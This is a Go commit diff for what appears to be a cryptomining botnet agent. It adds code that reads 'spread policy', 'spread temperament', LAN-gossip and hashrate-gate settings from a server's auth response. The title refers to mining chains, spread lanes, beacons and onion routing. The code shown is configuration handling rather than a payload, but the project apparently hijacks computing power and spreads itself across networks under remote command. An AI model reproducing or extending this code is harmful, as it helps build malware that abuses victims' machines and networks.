Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/client/mining_policy.go

@@ -32,6 +32,8 @@ func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
 }
 
 func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
+	c.setAtlasLanGossipEnabled(resp.AtlasLanGossipEnabled)
+	c.applySpreadPolicyJSON(resp.SpreadPolicy)
 	c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
 	if len(resp.MiningTierPolicy) > 0 {
 		c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
@@ -47,6 +49,11 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
 		c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
 		return
 	}
+	if len(resp.SpreadTemperament) > 0 {
+		c.mu.Lock()
+		applySpreadTemperament(&c.cfg, resp.SpreadTemperament)
+		c.mu.Unlock()
+	}
 	if len(resp.MiningTierPolicy) > 0 {
 		return
 	}
@@ -74,3 +81,24 @@ func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
 	c.tierPolicy = p
 	c.mu.Unlock()
 }
+
+func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
+	if len(raw) == 0 || string(raw) == "null" {
+		return
+	}
+	var policy struct {
+		HashrateGateSpreadMin int     `json:"hashrate_gate_spread_min"`
+		HashrateGateHPS       float64 `json:"hashrate_gate_hps"`
+	}
+	if err := json.Unmarshal(raw, &policy); err != nil {
+		return
+	}
+	c.mu.Lock()
+	if policy.HashrateGateSpreadMin > 0 {
+		c.cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
+	}
+	if policy.HashrateGateHPS > 0 {
+		c.cfg.HashrateGateHPS = policy.HashrateGateHPS
+	}
+	c.mu.Unlock()
+}